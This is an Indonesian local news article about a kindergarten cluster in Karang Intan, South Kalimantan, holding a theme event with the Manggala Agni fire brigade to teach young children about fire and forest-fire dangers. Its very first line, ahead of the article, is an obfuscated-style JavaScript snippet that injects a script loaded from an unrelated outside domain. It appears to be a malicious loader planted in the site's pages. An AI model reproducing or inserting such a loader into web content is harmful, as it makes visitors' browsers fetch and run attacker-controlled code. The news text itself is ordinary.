(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Gugus PAUD V Kecamatan Karang Intan menggelar kegiatan puncak tema bersama peserta didik.
Kegiatan puncak tema bersama peserta didik berlangsung di kantor Manggala Agni Mandiangin, Rabu (13/12/2023) siang.
“Rapat rutin bulanan Gugus PAUD V Kecamatan Karang Intan, sekaligus kegiatan puncak tema bersama peserta didik. Jadi kami meminta Manggala Agni untuk mengisi kegiatan puncak tema bersama peserta didik,” kata Rawina SPd, Ketua Gugus PAUD V Kecamatan Karang Intan,
Peserta puncak tema berasal dari tujuh lembaga pendidikan, yakni TK Harapan Masa Padang Panjang dengan jumlah peserta didik 18 murid didampingi 38 Wali murid, dan 5 guru, TK Budi Mulia Kiram peserta didik 41 murid, 41 wali murid, didampingi 3 guru.
Baca juga:Â Ahmad Niftahul Haq Raih Emas di Kejuaraan Taekwondo Tala Cup
TK ABA Al.Munawarah Mandiangan Timur dengan jumlah peserta didik 37 murid, 37 wali murid, 4 guru.
Kelompok Bermain Ceria Awang Bangkal Timur dengan jumlah peserta didik 35 murid, 35 wali murid, bersama 4 guru.
Kelompok Bermain Sejahtera Mandiangin Timur dengan jumlah peserta didik 40 murid, 40 wali murid, 4 guru.
Kelompok Bermain Bunga Matahari dengan peserta didik 8 murid, 8 wali murid, bersama 1 guru.
Kelompok Bermain Ananda Lihung dengan jumlah peserta didik 8 anak, 8 wali murid, didampingi 3 guru.
“Jadi total peserta sebanyak 207 anak, 207 orang wali murid dan 24 orang guru pendamping,” sebut Rawina.
“Kami diminta untuk mengisi kegiatan rapat rutin bulanan Gugus PAUD V Kecamatan Karang Intan, sekaligus mengisi kegiatan puncak tema di kantor Manggala Agni,” kata Mesdi dari Manggala Agni.
Program pemerintah dalam upaya mitigasi kebakaran dikenalkan sejak usia dini di tingkat taman kanak-kanak.
Baca juga:Â Dinas KUMPP Gelar Sosialisasi dan Business Matching Peningkatan dan Pemasaran Produk Dalam Negeri
Kegiatannya meliputi tentang bahaya kebakaran hutan maupun pemukiman yang berhubungan dengan dampak lingkungan dan rusaknya alam.
Salah satunya adalah pemanasan global yang diakibatkan dari efek rumah kaca, kebakaran pemukiman serta kebakaran hutan dan lahan.
“Kegiatan hari ini begitu menyenangkan,” ucap Eny Faridah, salah satu orangtua dari TK ABA Al Munawarah Mandiangin Timur.(Kanalkalimantan.com/nh)
Reporter : nh
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.